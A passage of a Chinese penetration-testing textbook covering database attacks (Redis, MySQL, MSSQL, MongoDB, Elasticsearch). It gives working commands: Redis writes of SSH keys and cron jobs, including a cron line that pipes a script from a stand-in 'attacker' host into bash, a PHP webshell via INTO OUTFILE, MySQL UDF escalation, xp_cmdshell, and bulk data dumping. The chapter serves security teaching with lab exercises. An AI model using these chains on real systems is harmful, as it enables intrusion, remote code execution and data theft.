第 85 章 数据库安全渗透(Redis / MySQL / MSSQL / NoSQL)
数据库是内网渗透的"皇冠明珠":数据目标本身 + 数据库经常是提权/横向的跳板。本章覆盖主流数据库的未授权访问、弱口令、利用链(getshell/提权/横移)。数据库攻击的核心认知:很多数据库默认配置"裸奔"(无认证/弱认证),发现即突破。
📍 知识点地图 | 主题:数据库渗透 | 前置:第62章 | 后续:— | 核心概念:Redis getshell、MySQL UDF、MSSQL、NoSQL
85.1 数据库攻击面总览
攻击入口:
1. 未授权访问(无认证/默认空密码)—— 最常见!
2. 弱口令(root/root、sa/sa...)
3. Web 层注入(SQL 注入打到数据库,第 58 章)
4. 数据库服务漏洞(历史 CVE)
5. 错误配置(暴露端口/权限过大)
利用目标:
□ 数据(核心目标)
□ getshell(写文件/执行命令)
□ 提权(数据库账户 → 系统账户)
□ 横向(凭据/链接服务器)
85.2 Redis 未授权访问(最经典的数据库 getshell)
原理
Redis 默认无认证(bind 0.0.0.0 + protected-mode 关闭时)
→ 任何人能连接 → 能写文件/执行 Lua
利用链(getshell 三条路):
1. 写 SSH 公钥: 写 authorized_keys → SSH 登录
2. 写 WebShell: 写 web 目录 → 访问执行
3. 计划任务: 写 crontab → 定时执行(root 权限)
攻击前置:
□ 目标 Redis 无密码/弱密码
□ 知道 web 路径或能写 /root/.ssh
利用流程(写 SSH 公钥)
# 1. 连接测试
redis-cli -h <target> -p 6379 info
# 2. 生成密钥并写入
redis-cli -h <target> -p 6379
> config set dir /root/.ssh
> config set dbfilename authorized_keys
> set x "\n\nssh-rsa AAAA... your_key\n\n"
> save
# 3. SSH 登录
ssh -i key root@<target>
利用流程(写计划任务 → root 定时执行)
> config set dir /var/spool/cron/
> config set dbfilename root
> set x "\n*/1 * * * * /bin/bash -c 'curl http://attacker/shell.sh | bash'\n"
> save
# 一分钟后执行(CentOS 系常用)
批量利用工具
# redis-rogue-server(Redis 主从复制 RCE,更通用)
git clone https://github.com/Ridter/redis-rogue-server
python3 redis-rogue-server.py --rhost <target> --rport 6379
# 主从复制 → 加载恶意模块 → 命令执行
85.3 MySQL 渗透
未授权/弱口令
# 弱口令爆破(第 59 章)
hydra -l root -P pass.txt mysql://<target>
# 连接
mysql -h <target> -u root -p
利用链
1. 读文件(secure_file_priv 允许时)
SELECT LOAD_FILE('/etc/passwd');
2. 写文件 getshell(需 FILE 权限 + 知道 web 路径)
SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php';
# 限制: secure_file_priv 非空(只能写指定目录)
3. 提权(UDF 利用——经典):
UDF = 用户自定义函数 → 加载恶意 .so → 执行系统命令
# 条件: MySQL 插件目录可写 + FILE 权限
# 工具: sqlmap --os-shell 自动完成
4. 读取配置/凭据:
读取 mysql.user 表哈希(可离线破解)
读取数据库中的密码/密钥(数据目标)
MySQL 提权(UDF 原理)
1. 编译恶意 UDF .so(sys_exec 函数)
2. 写入 MySQL 插件目录(secure_file_priv/plugin 路径)
3. CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so'
4. SELECT sys_exec('id') → 命令执行(MySQL 进程权限)
85.4 MSSQL 渗透
特点
□ 默认端口 1433
□ 默认账户 sa(超级管理员)
□ 特性: xp_cmdshell(可直接执行系统命令!)—— 数据库里的 RCE
利用:
1. 弱口令: sa/sa、sa/123456(常见)
2. 连接后直接命令执行:
EXEC xp_cmdshell 'whoami'; # 执行命令(默认可能禁用,需开启)
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
3. 横向(链接服务器):
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT @@version');
# 数据库链接 → 跨库/跨主机横向
4. 工具: impacket-mssqlclient(命令行交互)
mssqlclient.py sa:pass@<target> -windows-auth
85.5 NoSQL(MongoDB / Elasticsearch)
MongoDB
□ 默认无认证(bind 0.0.0.0 时直接暴露)
□ 利用: 直接连接读全部数据
mongosh "mongodb://<target>:27017"
show dbs; use <db>; db.users.find()
□ 安全认知: 大量 MongoDB 裸奔实例(Shodan 可搜)
工具: mongo 客户端 / 自写脚本批量导出
Elasticsearch
□ 默认无认证 + 全端口监听(大量暴露)
□ 利用: 直接访问 API 读数据
curl http://<target>:9200/_cat/indices
curl http://<target>:9200/<index>/_search
□ 危险配置: 可写(索引删除/修改)
工具: elasticdump(批量导出)/ 浏览器访问
85.6 数据库渗透通用方法论
1. 发现: 内网扫描(fscan/nmap)找数据库端口
(3306/6379/1433/27017/9200/5432/1521...)
2. 未授权测试(第一优先): 无密码直接连?
3. 弱口令(第二): 常见默认口令 + 字典
4. 利用(按数据库类型):
Redis → SSH key/计划任务/主从 RCE
MySQL → UDF/写文件
MSSQL → xp_cmdshell/链接服务器
NoSQL → 直接读数据
5. 数据获取: 枚举库表 → 导出关键数据
6. 横向: 数据库凭据/链接服务器/主机权限
85.7 数据库攻击检查清单
□ 端口发现(6379/3306/1433/27017/9200...)
□ 未授权访问测试
□ 弱口令测试
□ 类型专项利用(Redis/MySQL/MSSQL/NoSQL)
□ getshell 评估(写文件/命令执行)
□ 数据访问(枚举+导出)
□ 提权(数据库→系统)
□ 横向(凭据复用/链接服务器)
□ 报告: 每个发现+影响
动手练习
- 在本地搭一个 Redis(改配置模拟未授权),完整走一遍"写 SSH 公钥 → 登录"。
- 搭一个 MySQL,练习 UDF getshell(在授权测试环境)。
- 用 impacket-mssqlclient 连接一个测试 MSSQL,开启 xp_cmdshell 执行命令。
- 用 fscan 扫一个测试网段,找出暴露的数据库端口,做未授权测试。
深入阅读
- 仓库:
skills/pentest-tools/SKILL.md(数据库相关工具:hydra/impacket) - 仓库:
skills/pentest-tools/references/network-attack-defense.md(内网服务枚举) - 仓库:
CTF-Sandbox-Orchestrator/competition-identity-windows/(MSSQL 在域环境) - 仓库:
skills/attack-chain/SKILL.md(数据库提权阶段) - 外部: HackTricks 数据库利用章节、Redis/MySQL/MSSQL 攻击研究